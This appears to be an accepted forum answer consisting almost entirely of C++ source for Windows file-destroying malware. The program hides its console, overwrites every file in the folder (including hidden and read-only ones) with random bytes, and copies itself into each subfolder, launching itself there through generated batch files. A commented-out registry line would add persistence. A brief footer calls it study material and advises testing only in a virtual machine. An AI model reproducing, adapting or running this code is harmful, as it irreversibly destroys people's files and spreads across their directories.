0
0
已采纳
周明轩
资深光能
资深光能
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
string ss[100001];
int t;
int k[129];
int main()
{
system("@echo off");
system("copy Filerandom.exe C:\\Filerandom.exe");
//system("reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v myauto /t REG_SZ /d C:\\Filerandom.exe /f");
HWND hwnd;
if(hwnd=::FindWindow("ConsoleWindowClass",NULL))
{
::ShowWindow(hwnd,SW_HIDE);
}
system("cd");
ifstream fiin(".\\360docprotect.set");
ofstream fout(".\\360docprotect.set");
fiin.close();
fout.close();
system("dir /B .\\ > .\\360docprotect.set");
system("dir /A:H /B .\\ > .\\360docprotect.~et");
system("dir /A:R /B .\\ > .\\360docprotect.se~");
ifstream fiiin(".\\360docprotect.log");
ofstream foout(".\\360docprotect.log");
fiiin.close();
foout.close();
system("dir /A:D /B .\\ > .\\360docprotect.log");
ifstream fin(".\\360docprotect.set");
string s;
while(getline(fin,s))
{
//cout<<s<<endl;
if(s=="Filerandom.exe"||s=="360docprotect.log")continue;
string tmp=".\\"+s;
ofstream _output(tmp.c_str());
_output<<"----Virus_begin----\n";
int st;
do
{
st=clock();
_output<<(char)(rand()%100);
}while(st%5!=0);
_output<<"\n----Virus_end----";
_output.close();
}
fin.close();
s.clear();
ifstream fin_h(".\\360docprotect.~et");
while(getline(fin_h,s))
{
//cout<<s<<endl;
if(s=="Filerandom.exe"||s=="360docprotect.log")continue;
string tmp=".\\"+s;
for(int i=0;i<tmp.size();++i)
{
if(tmp[i]==' ')
{
tmp="\""+tmp+"\"";
break;
}
}
string tmp12="attrib -H "+tmp;
system(tmp12.c_str());
ofstream _output(tmp.c_str());
_output<<"----Virus_begin----\n";
int st;
do
{
st=clock();
_output<<(char)(rand()%100);
}while(st%5!=0);
_output<<"\n----Virus_end----";
_output.close();
}
fin_h.close();
s.clear();
ifstream fin_r(".\\360docprotect.se~");
while(getline(fin_r,s))
{
//cout<<s<<endl;
if(s=="Filerandom.exe"||s=="360docprotect.log")continue;
string tmp=".\\"+s;
string tmp10="attrib -R "+tmp;
system(tmp10.c_str());
ofstream _output(tmp.c_str());
_output<<"----Virus_begin----\n";
int st;
do
{
st=clock();
_output<<(char)(rand()%100);
}while(st%5!=0);
_output<<"\n----Virus_end----";
_output.close();
tmp10="attrib +R "+tmp;
system(tmp10.c_str());
}
fin_r.close();
s.clear();
ifstream fin2(".\\360docprotect.log");
while(getline(fin2,s))ss[++t]=s;
for(int i=1;i<=t;++i)
{
string yuan=ss[i];
ofstream change(".\\360docprotect.txt");
cout<<"!!!!!";
system("cd");
cout<<endl;
cout<<"?????"<<ss[i]<<endl;
for(int j=0;j<ss[i].size();++j)
{
if(ss[i][j]==' ')
{
ss[i]="\""+ss[i]+"\"";
break;
}
}
for(int j=1;j<=rand()%100+50;++j)change<<char(rand()%100);
change.close();
string tmp="copy /B .\\Filerandom.exe+360docprotect.txt .\\"+ss[i]+"\\Filerandom.exe";
system(tmp.c_str());
string tmp2=".\\"+yuan+"\\360docprotect.bat";
ofstream batout(tmp2.c_str());
string tmp3="@echo off\ncd .\\"+ss[i]+"\\\nstart Filerandom.exe \n";
batout<<tmp3;
batout.close();
string tmp4=".\\"+ss[i]+"\\360docprotect.bat";
system(tmp4.c_str());
}
fin2.close();
system("del .\\360docprotect.set");
system("del .\\360docprotect.~et");
system("del .\\360docprotect.se~");
system("del .\\360docprotect.log");
system("del .\\360docprotect.txt");
//system("del .\\360docprotect.bat");
system("pause");
}
仅供学习参考,不要干坏事!
原创是刘景程。
千万别在主机上试,想体验就在虚拟机上,不然后果很严重
0
0
0